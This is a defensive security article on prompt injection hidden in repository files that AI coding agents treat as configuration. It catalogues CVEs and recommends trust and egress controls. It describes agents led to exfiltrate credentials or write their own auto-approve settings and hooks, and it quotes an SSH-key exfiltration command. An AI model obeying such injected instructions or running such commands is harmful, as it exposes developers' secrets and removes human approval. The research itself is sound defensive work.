When Repository Content Becomes Agent Configuration: Repository-Borne Prompt Injection and the Workspace-Trust Gap
Executive Summary
Major AI coding agents now consume some configuration from the repository they work in: natural-language instruction files (CLAUDE.md, AGENTS.md, .cursorrules, .github/copilot-instructions.md, Kiro steering files), MCP server manifests (.mcp.json, .cursor/mcp.json, .vscode/mcp.json), hook and permission settings (.claude/settings.json), and editor automation (devcontainer.json, tasks.json). These files are checked in, cloned, pulled and merged like any other source. They do not all activate at folder-open: depending on the product and file type, activation happens at session startup, once per CLI run, when matching files are used, when a cloud request is assembled, or when a server is explicitly started. The security-relevant fact is that repository content can become agent context or executable configuration without the user choosing to run an ordinary source file.
The trust model has not caught up, but there is no single model across products. VS Code and Cursor have workspace or folder trust; Claude Code has directory trust plus session-scoped instruction loading; Gemini CLI has an explicit restricted mode; Codex builds an AGENTS.md instruction chain once per run; Kiro steering can be always, fileMatch or manual; and GitHub's cloud coding agent has no local folder-open event at all. What remains common is narrower: the surveyed instruction-file mechanisms do not bind approval to a content hash or show a revision diff before newly pulled prose influences a later run or request. Some MCP launch configurations now re-prompt after changes, while natural-language instructions generally rely on repository review and the product's surrounding permission boundary rather than revision-specific approval.
The anchor incident is fresh: on 2026-08-27, Mindgard disclosed that Amazon's Kiro IDE (0.7.45, fixed in 0.8.140, no CVE) could be driven to exfiltrate local data by a malicious workspace whose "Powers" bundle — MCP config plus a steering file — influenced the agent so that any subsequent user message triggered the leak. The chain Mindgard describes is the general pattern of this whole class: repository-controlled content influences the agent → the agent reads sensitive local data → the agent writes that data into a security-relevant configuration file → an ordinary IDE capability turns the modified config into network traffic.
The most important escalation in the catalogue is the agent writing its own trust boundary. CVE-2025-53773 (GitHub Copilot, patched August 2025) is the cleanest documented instance: injected content makes the agent write "chat.tools.autoApprove": true into .vscode/settings.json, after which every future tool call runs without a prompt. CVE-2026-25725 (Claude Code, February 2026) has the same structural shape — code inside the sandbox creates a missing .claude/settings.json and plants a SessionStart hook that runs with host privileges on the next restart. Once instruction-level injection can reach config-level persistence, the "trust this folder" click at open time is no longer the boundary; the agent's own write access to its config directory is.
For Zylos, which is itself a CLAUDE.md-plus-skills system that upgrades components by writing config, the practical takeaways are: treat project-scope config as data until approved; re-gate on content hash, not file name; keep agent-writable and agent-trusted directories disjoint; and lint instruction files for the concrete tells (hidden Unicode, HTML comments, base64 blobs, credential-access verbs) that scanners such as Semgrep's 122-rule Agent Skills pack now detect.
Key Points
- The class is broad and recent. 2025–2026 produced a steady stream of repository-borne cases: Pillar Security's "Rules File Backdoor" (March 2025, hidden Unicode in
.cursorrules/copilot-instructions.md, no CVE — both vendors called it user responsibility); Cursor CVE-2025-54135 "CurXecute" and CVE-2025-54136 "MCPoison" (August 2025, an in-workspace.cursor/mcp.jsoncreation path and name-keyed MCP trust); Gemini CLI exfiltration viaREADME.md/GEMINI.md(July 2025, fixed 0.1.14); Copilot CVE-2025-53773 (August 2025); Claude Code CVE-2026-25725 (February 2026); Language Servers for AWS CVE-2026-12957 (project-config execution) and CVE-2026-12958 (missing symlink validation allowing writes outside the workspace boundary); Codex CLIAGENTS.mdcredential exfiltration inexecmode (Backslash Security, July 2026); and the Kiro Powers disclosure (August 2026). A December 2025 roundup dubbed "IDEsaster" counted 30+ vulnerabilities and 24 CVEs across nine agent products in six months. - Four distinct capabilities ride in the repo. (a) Files read as instructions — rules files,
CLAUDE.md,AGENTS.md, steering docs. (b) Files that launch processes — MCPstdioservers (command+args+env), hooks,devcontainer.jsonlifecycle commands (initializeCommandruns on the host before the container exists),tasks.jsonwithrunOn: "folderOpen". (c) Files that change the permission model —.claude/settings.jsonpermissions.allow/denyand hookpermissionDecisionoutputs;.vscode/settings.jsonchat.tools.autoApprove. (d) Files that open network egress — standard MCP Streamable HTTP endpoints, the deprecated HTTP+SSE transport retained for compatibility, or explicitly custom transports such as WebSocket. A single malicious repository can carry all four. - Trust is often keyed too coarsely. Pre-fix Cursor approved MCP servers by name: approve
linteronce, and any later change to its command ran silently. Cursor 1.3 now re-prompts on any modification. VS Code prompts when an MCP server is added or changed and then started, but documents a specific exception: directly starting the server frommcp.jsondoes not show that trust prompt. A third-party analysis (Repello AI) claims Claude Code's project MCP approvals are likewise stored by server name without command pinning; we could not reconcile that against current Anthropic documentation and flag it as unconfirmed. Across the cited instruction-file documentation, the described approval units are directories, repositories or server configurations rather than a digest of the instruction file's approved content. - Instruction activation differs; revision approval is the shared gap. Anthropic describes
CLAUDE.mdas context rather than enforced configuration: files above and at the working directory load at launch, nested files load on demand, and.claude/rulescan be path-scoped. Codex discovers itsAGENTS.mdchain once per run or launched TUI session. Kiro steering supportsalways,fileMatchandmanual, while KiroAGENTS.mdis always included; custom agents require steering to be listed inresources. GitHub's cloud coding agent attaches repository custom instructions when it assembles requests. These are different activation paths; the cited workflows describe directory, repository or server trust, not approval of a particular instruction-file hash. - Gemini CLI documents a concrete restricted mode. In an untrusted folder it ignores workspace
.gemini/settings.jsonand.env, blocks extensions, disables tool auto-acceptance and automatic memory loading, refuses to connect MCP servers, and skips custom commands — a concrete checklist other tools could adopt. Claude Code's folder-trust prompt persists per directory, except that it is session-only when launched in the home directory and disabled entirely in non-interactive-pmode, which is exactly the mode CI and scheduled agents use. - The MCP specification now has normative language for the launch-config risk. Its security best-practices page carries a "Local MCP Server Compromise" section with a worked payload (
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa ...) and a MUST: clients offering one-click local server configuration must implement consent mechanisms before executing commands — show the full command, highlight dangerous patterns, warn that servers run with client-level privileges. It does not mandate default-deny network egress. Shipped controls differ in scope: VS Code's default-offchat.agent.networkFilterapplies domain rules to its fetch tool and integrated browser, and additionally to terminal commands when sandboxing is enabled; Claude Code's opt-in sandbox, introduced in October 2025, enforces filesystem and proxy-mediated domain boundaries on Bash commands and their spawned scripts and subprocesses. Anthropic also describes the underlying runtime as usable around arbitrary processes, agents and MCP servers. - Measurement is thin. Snyk's "ToxicSkills" study (February 2026) scanned 3,984
SKILL.mdpackages on ClawHub/skills.sh: 534 (13.4%) had at least one critical flaw, 1,467 (36.8%) had some issue, and 76 were confirmed malicious by human review. Comparable public measurements ofCLAUDE.md,AGENTS.mdand.cursorrulespopulations remain scarce. Adoption figures forAGENTS.md(~20,000 repos per Socket.dev in September 2025; "60,000+" in mid-2026 vendor-sourced coverage) come without disclosed methodology.
Deep Dive
1. How repository content became runtime configuration
The shift happened in two steps. First, agents learned to read project-local instruction files so that teams could encode conventions once instead of re-prompting every session — .cursorrules in 2024, CLAUDE.md and copilot-instructions.md in 2025, AGENTS.md as a cross-tool convention from mid-2025. Second, the same project-local pattern expanded from instructions to capabilities: MCP manifests that declare servers, hooks that run shell commands at lifecycle events, and permission lists that pre-approve tools. Each step was a reasonable developer-experience decision. Together they made a repository a bundle of content that can influence a session or launch code at several different activation points.
The consequence is a mismatch between two mental models. A user may think in terms of a coarse folder or repository decision, while the runtime activates different artifacts at launch, per request, on a path match, on demand, or when a server starts. The critical overlap is not universal "every-turn" ingestion; it is that an agent may be allowed to write a file that the same or a later session will treat as instruction or executable configuration. The vulnerabilities in the catalogue live in that overlap and in controls that remember a path or server identity without approving a particular revision.
2. The incident catalogue, by mechanism
Text-level injection into instruction files. Pillar Security's March 2025 disclosure showed that zero-width joiners, bidirectional controls and Unicode Tags-block characters embedded in .cursorrules or copilot-instructions.md can be hidden from normal editor views while still being parsed as valid instructions by the model. Their proof of concept made Cursor silently add a script tag pointing at an attacker domain to generated HTML, with nothing in the chat transcript. Cursor and GitHub declined to assign a CVE, framing the rules file as user-controlled content; GitHub later added a UI warning for hidden Unicode without changing how the agent parses it. Backslash Security's July 2026 Codex CLI finding is the same mechanism without the concealment: an AGENTS.md discovered in the instruction chain at the start of the run instructs the agent to run a "pre-task setup command" copying ~/.aws/credentials into the workspace, which in exec mode with network enabled becomes a curl exfiltration. OpenAI patched the specific payload at the model level; Backslash notes the mode-dependent safety gating that made it possible is unchanged.
Launch-config manipulation. Cursor's two August 2025 CVEs are the canonical pair. CVE-2025-54135 (AIM Security; Cursor's advisory labels it CVSS v3.1 8.5, while the CVE record currently renders 8.6 for the same vector) exploited creation of an in-workspace .cursor/mcp.json: a prompt injection delivered through an MCP-connected data source could get the agent to create a server entry and trigger code execution without user approval. CVE-2025-54136 (Check Point, CVSS 7.2) exploited trust keyed to the server's name: approve a benign entry once, and a collaborator could later swap its command for anything without a prompt. Cursor's fixes require approval when an MCP server entry changes. Language Servers for AWS CVE-2026-12957 is a separate project-configuration trust-boundary flaw: opening and trusting a malicious workspace could automatically execute commands in project configuration files. CVE-2026-12958 is not another MCP launch bug; missing symlink validation allowed a crafted workspace link to make the language server write outside the workspace boundary. AWS says both are remediated in Language Servers for AWS 1.69.0.
Editor automation as a side door. Two mechanisms predate AI agents and are now reachable through them. devcontainer.json lifecycle hooks include initializeCommand, which runs on the host before any container exists. VS Code tasks.json supports runOptions.runOn: "folderOpen", and a tracked issue documents combining it with "reveal": "silent" and "echo": false for execution the user never sees, citing a real wget | sh case. Amazon Kiro's separate CVE-2026-10591 was an insufficient restriction on its file-write tool: crafted instructions could cause writes to execution-sensitive paths such as .vscode/tasks.json, enabling auto-execution on folder open. AWS lists affected versions below 0.11, the fix in 0.11, and scores of CVSS v4.0 8.6 and CVSS v3.1 8.8. This is not itself a rules-file loading bug; it shows what an injected agent with write access can reach.
The Kiro Powers chain (August 2026). Mindgard's disclosure, reported by The Hacker News on 2026-08-27, ties the layers together. Kiro "Powers" bundle MCP server configuration with a steering document that gives the agent persistent context. A malicious workspace opened via File → Open Workspace From File — against both trusted and untrusted workspaces — influenced the agent so that any following message, with no reference to the payload, caused local sensitive data to be read, written into IDE configuration, and then sent out by an ordinary IDE capability. A predecessor bug in the same lineage used a steering directive to embed file contents in a Markdown image URL, so that rendering the image performed the exfiltration. Affected 0.7.45, fixed 0.8.140, no CVE; Amazon has not published what the fix does.
3. The escalation that matters: the agent writes its own trust boundary
An injected instruction can already steer the request or session in which it is processed. The escalation is when its output lands in a file the agent will trust in a later request or session — persistence without delivering the injection again.
CVE-2025-53773 is the exact case. Johann Rehberger reported it to Microsoft in June 2025 (independently found by Markus Vervier and Ari Marzouk); MSRC published it on 2025-08-12 and patched it that Patch Tuesday. The mechanism: content the agent reads — source code, a web page, a GitHub issue, a tool response — instructs it to write "chat.tools.autoApprove": true into .vscode/settings.json, creating the file if absent. Subsequent agent tool calls covered by that workspace setting could then run without prompting. The injection had to succeed once; the persisted setting made later sessions unattended.
CVE-2026-25725 (Anthropic advisory GHSA-ff64-7w26-62rf, 2026-02-06, CVSS v4 7.7, fixed in Claude Code 2.1.2) has the same structure in a different layer. The bubblewrap sandbox protected .claude/settings.local.json as read-only, but not .claude/settings.json when that file did not exist at session start. Malicious code inside the sandbox could create it and inject persistent hooks — a SessionStart command, say — that ran with host privileges on the next restart. Anthropic's advisory names in-sandbox code execution as the precondition rather than prompt injection specifically; third-party coverage adds the injection framing. Either way, the lesson is the same: the sandbox boundary was drawn around files that existed, not around the directory whose contents the agent trusts.
Two adjacent findings sharpen the point. A Claude Code issue (#21674, January 2026, closed "not planned") observes that ~/.claude/CLAUDE.md is writable by any user-level process — a malicious npm postinstall, for instance — and auto-loads every session. And Unit 42's October 2025 Bedrock Agents research showed injection poisoning an agent's end-of-session memory summary so that it re-injects into future sessions: same shape, different store. The general rule: any file the agent both writes and later trusts is a persistence primitive, and the set of such files is larger than most threat models list.
4. What vendors gate — and what they don't
| Tool | Gate at first open | Re-gate on change | Not gated |
|---|---|---|---|
| VS Code + Copilot | Workspace Trust; Restricted Mode limits agents, terminal, tasks and workspace settings | An added or changed MCP server prompts when it is started; directly starting it from mcp.json is the documented no-prompt exception | Repository custom instructions are request context, not a separately approved revision; repo .vscode/settings.json can set chat.permissions.default: "autoApprove" after workspace trust (Repello AI, June 2026; reportedly treated as intended design) |
| Cursor | Folder trust; MCP approval | Since 1.3: re-approval on any modification to an mcpServers entry | .cursorrules / .cursor/rules — no approval flow documented |
| Claude Code | Folder trust (persisted per directory; session-only in $HOME; disabled in -p mode); project .mcp.json servers need explicit approval, with an "all future servers in this project" option | claude mcp reset-project-choices exists; content pinning unconfirmed | Parent/current-directory CLAUDE.md loads at launch; nested files load on demand; .claude/rules may be path-scoped; none has revision approval |
| Gemini CLI | Trusted-folders resolution: IDE signal → trustedFolders.json → dialog; untrusted mode ignores workspace settings/.env, blocks extensions, MCP, auto-accept, memory loading | Not stated | GEMINI.md handling not named explicitly (likely under "memory loading") |
| Codex CLI | Sandbox and approval defaults vary with the environment; this is not a universal folder-trust prompt | AGENTS.md instruction chain is rebuilt once per run or launched TUI session | Global plus root-to-working-directory AGENTS.md chain; a change takes effect on a later run/session, not every turn of the current one |
| GitHub Copilot coding agent (cloud) | No local folder-open gate; MCP servers are configured by repository or organization administrators | None — docs state Copilot "will not ask for your approval before using them" | Repository custom instructions are attached when cloud requests are assembled, without a per-revision instruction approval |
| Amazon Kiro | Workspace trust for the IDE; steering activation is a separate mechanism | Not published | Steering supports always, fileMatch and manual; AGENTS.md is always included; custom agents load steering only when it is listed in resources; Powers bundle steering with MCP config |
The pattern in the third column is the finding. Activation is product- and file-specific, so a pull does not universally affect "the next turn." But when a changed instruction does next become eligible — a new Claude Code session, a new Codex run, a Kiro path match, or a Copilot cloud request — the surveyed products do not present a vendor-side trust artifact for that revision: no approved hash, no change diff, no "this instruction changed since you approved it." MCP launch configurations have stronger re-prompting in some products, with the direct-start exception documented above.
5. Design patterns worth adopting
Content-keyed, not name-keyed, trust. SSH known_hosts offers a high-level trust-on-first-use and identity-pinning analogy, but it records host public keys rather than hashes of arbitrary file content. The LazyWorktree git tool implements the closer mechanism for repo-supplied command files: its trust manager maps each absolute path to the SHA-256 of its approved contents and marks the file untrusted when the hash changes. Applied to agent config, it means: an approval record stores (path, hash); a mismatch at load time downgrades the file to untrusted until re-approved; a git pull that touches CLAUDE.md or .mcp.json surfaces a diff before the next run or request uses it.
Disjoint writable and trusted sets. The agent should not have unmediated write access to any file it will later load as trusted configuration. Practically: project-scope config lives in a path the agent's file-edit tool treats as requiring explicit human approval (or is read-only inside the sandbox whether or not the file exists yet — the CVE-2026-25725 lesson); user-scope config is outside the workspace entirely; and hook outputs that return permission decisions are themselves subject to the same gate.
Project config is data until approved; user config is policy. Claude Code's precedence chain (managed → CLI → local settings → project settings → user settings) and Cursor's User Rules vs Project Rules already encode the distinction. The missing piece is making the project layer inert by default — loaded into a review buffer, not into context — until a human has approved that revision.
Default-deny egress for anything the repo can launch. MCP stdio servers are local child processes and may inherit the developer's environment; standard Streamable HTTP, deprecated HTTP+SSE, and custom network transports connect to independent endpoints. The 2025-06-18 MCP specification standardizes only stdio and Streamable HTTP, allows additional custom transports, and treats HTTP+SSE as a backwards-compatibility path; WebSocket is therefore possible as a custom transport, not a third standard category. Existing controls have different defaults and enforcement scopes: VS Code's default-off network filter covers the fetch tool and integrated browser, with the same domain rules also applying to terminal commands when sandboxing is enabled; Claude Code's opt-in sandbox routes Bash subprocess traffic through a domain-enforcing proxy and covers scripts and child processes spawned by those commands. The MCP spec's SSRF guidance is a floor, not a ceiling. An agent runtime that cannot say "this repo's launched code may talk only to these hosts" cannot bound a successful injection.
Lint the instruction files. The tells are concrete and machine-detectable: zero-width and bidirectional Unicode, HTML comments in Markdown (invisible when rendered, visible to the model), base64 blobs, and verbs that reach for credentials or environment variables. Semgrep's Agent Skills Rules (122 Pro rules, May 2026) cover AGENTS.md, CLAUDE.md, .cursorrules, .claude/, .cursor/, .windsurf/, copilot-instructions.md and MCP configs; smaller open-source scanners exist for Claude Code skills specifically. Running one in CI on any change to these paths, plus CODEOWNERS review for the same paths, is cheap and catches the low end of the attack spectrum.
6. Implications for Zylos
Zylos is a CLAUDE.md-plus-skills architecture with an upgrade pipeline that writes component configuration, so every pattern above has a local analogue.
- System-managed vs operator-managed instruction files already exist (
CLAUDE.mdreplaced on upgrade; custom directives in a separate file). That is the user-scope/project-scope split. Recording a hash at upgrade time and checking it at session start would turn "this file was replaced" from an invisible event into a reportable one, and is the same mechanism the June article proposed for hook integrity. - Skills use the repository-borne instruction-package shape. A
SKILL.mdplus its supporting files is the same class of artifact Snyk studied on public registries, where 13.4% of the scanned packages had at least one critical flaw. The existing skill-security-review rule (read the source before executing third-party skills) is the manual version of the linting pattern; the mechanical version is a scanner pass on install and upgrade. - The postinstall footgun is this class. A component's
npm installside effect writing the machine's config is the "agent-writable and agent-trusted sets overlap" problem in package form — the same primitive CVE-2025-53773 exploited, minus the adversary. Fixing it by making install effects declarative and approval-gated, rather than by trusting the package, is the durable fix. - Non-interactive mode is the exposed mode. Trust checks that are disabled under
-pare disabled precisely when an autonomous agent is running scheduled work with no human present. Anything Zylos runs headless should assume the folder-trust prompt does not exist and enforce the boundary itself — sandboxing, egress allowlists, and content-hash checks on the files it is about to load.
The one-line summary for any agent runtime: the moment an agent can be steered by files in a repository and can write files in that repository, "trust this folder" is a formality. Real trust has to be attached to content hashes, enforced by write boundaries the agent cannot cross, and re-established whenever the content moves.
Sources: The Hacker News, "Amazon Kiro Prompt Injection…" (2026-08-27); AWS Security Bulletin 2026-009-AWS (CVE-2026-4295, 2026-03-17), 2026-037-AWS (CVE-2026-10591) and 2026-047-AWS (CVE-2026-12957/12958); Pillar Security, "Rules File Backdoor" (2025-03-18); AIM Security, CurXecute / CVE-2025-54135 (2025-08-01); Cursor advisories GHSA-4cxx-hrm3-49rm and GHSA-24mc-g4xr-4395; Check Point Research, MCPoison / CVE-2025-54136 (2025-08-01); CVE records for CVE-2025-54135, CVE-2026-10591 and CVE-2026-12957/12958; NVD records for CVE-2025-54136 and CVE-2025-53773; Microsoft MSRC CVE-2025-53773 and Johann Rehberger, Embrace The Red (2025-08-12); Anthropic advisory GHSA-ff64-7w26-62rf / CVE-2026-25725 (2026-02-06), Claude Code memory docs, and "Making Claude Code more secure and autonomous with sandboxing" (2025-10-20); Backslash Security, Codex CLI AGENTS.md exfiltration (2026-07-06); Tracebit / BleepingComputer, Gemini CLI exfiltration (2025-07); Unit 42, "When AI Remembers Too Much" (2025-10-09); anthropics/claude-code issues #21674 and #9189; Repello AI, VS Code workspace-trust bypass (2026-06-04); VS Code docs — Workspace Trust, MCP servers, trust and safety, tasks; Claude Code docs — security, memory, MCP, hooks, permissions, settings; Cursor rules docs; Kiro steering docs; Gemini CLI trusted-folders doc; OpenAI Codex AGENTS.md discovery and agent approvals docs; GitHub Copilot coding-agent MCP docs and Changelog (2025-07-23, 2025-08-28); containers.dev devcontainer.json reference and Jamie McCrindle's devcontainer exploit writeup; microsoft/vscode issue #309406; Model Context Protocol 2025-06-18 transports and Security Best Practices (2026-07-28 revision); Semgrep, Agent Skills Rules (2026-05-19); Snyk, "ToxicSkills" (2026-02-05); Socket.dev, AGENTS.md adoption (2025-09-03); OWASP Top 10 for LLM Applications 2025; arXiv:2606.09935 GitInject (2026-06-07). Prior context: "Trusting the Hook" (this site, 2026-06-30) and "AI Agent Security: Defense-in-Depth" (2026-03-05).

